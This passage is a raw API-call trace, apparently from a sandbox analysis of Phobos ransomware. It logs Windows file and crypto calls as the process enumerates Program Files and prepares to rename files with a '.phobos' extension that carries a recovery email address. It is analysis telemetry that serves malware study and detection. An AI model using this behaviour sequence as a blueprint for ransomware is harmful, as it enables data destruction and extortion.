[0171.720] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=35840) returned 1 [0171.721] CloseHandle (hObject=0x2ec) returned 1 [0171.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0171.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.721] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.721] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=404992) returned 1 [0171.722] CloseHandle (hObject=0x2ec) returned 1 [0171.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0171.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.722] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.722] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=24576) returned 1 [0171.722] CloseHandle (hObject=0x2ec) returned 1 [0171.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0171.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.723] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.723] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=91136) returned 1 [0171.723] CloseHandle (hObject=0x2ec) returned 1 [0171.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0171.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.724] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.724] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=32768) returned 1 [0171.724] CloseHandle (hObject=0x2ec) returned 1 [0171.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0171.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.725] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.725] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=94208) returned 1 [0171.725] CloseHandle (hObject=0x2ec) returned 1 [0171.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0171.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.726] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.726] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0171.726] CloseHandle (hObject=0x2ec) returned 1 [0171.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0171.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.727] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.727] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=6144) returned 1 [0171.727] CloseHandle (hObject=0x2ec) returned 1 [0171.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0171.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.728] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.728] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=14336) returned 1 [0171.728] CloseHandle (hObject=0x2ec) returned 1 [0171.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0171.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.729] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.729] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=7680) returned 1 [0171.729] CloseHandle (hObject=0x2ec) returned 1 [0171.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0171.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.730] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.730] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=6144) returned 1 [0171.730] CloseHandle (hObject=0x2ec) returned 1 [0171.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0171.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.731] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.057] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=695296) returned 1 [0172.057] CloseHandle (hObject=0x2ec) returned 1 [0172.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0172.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.057] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.058] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=512000) returned 1 [0172.058] CloseHandle (hObject=0x2ec) returned 1 [0172.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0172.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.058] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.059] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=501760) returned 1 [0172.059] CloseHandle (hObject=0x2ec) returned 1 [0172.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0172.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.060] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.060] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=224256) returned 1 [0172.060] CloseHandle (hObject=0x2ec) returned 1 [0172.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0172.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.061] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.061] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=407552) returned 1 [0172.061] CloseHandle (hObject=0x2ec) returned 1 [0172.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0172.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.062] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.062] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=824128) returned 1 [0172.062] CloseHandle (hObject=0x2ec) returned 1 [0172.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0172.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.063] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.064] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=5430) returned 1 [0172.064] CloseHandle (hObject=0x2ec) returned 1 [0172.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0172.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.064] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0172.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0172.066] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=452) returned 1 [0172.066] CloseHandle (hObject=0x2ec) returned 1 [0172.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0172.066] 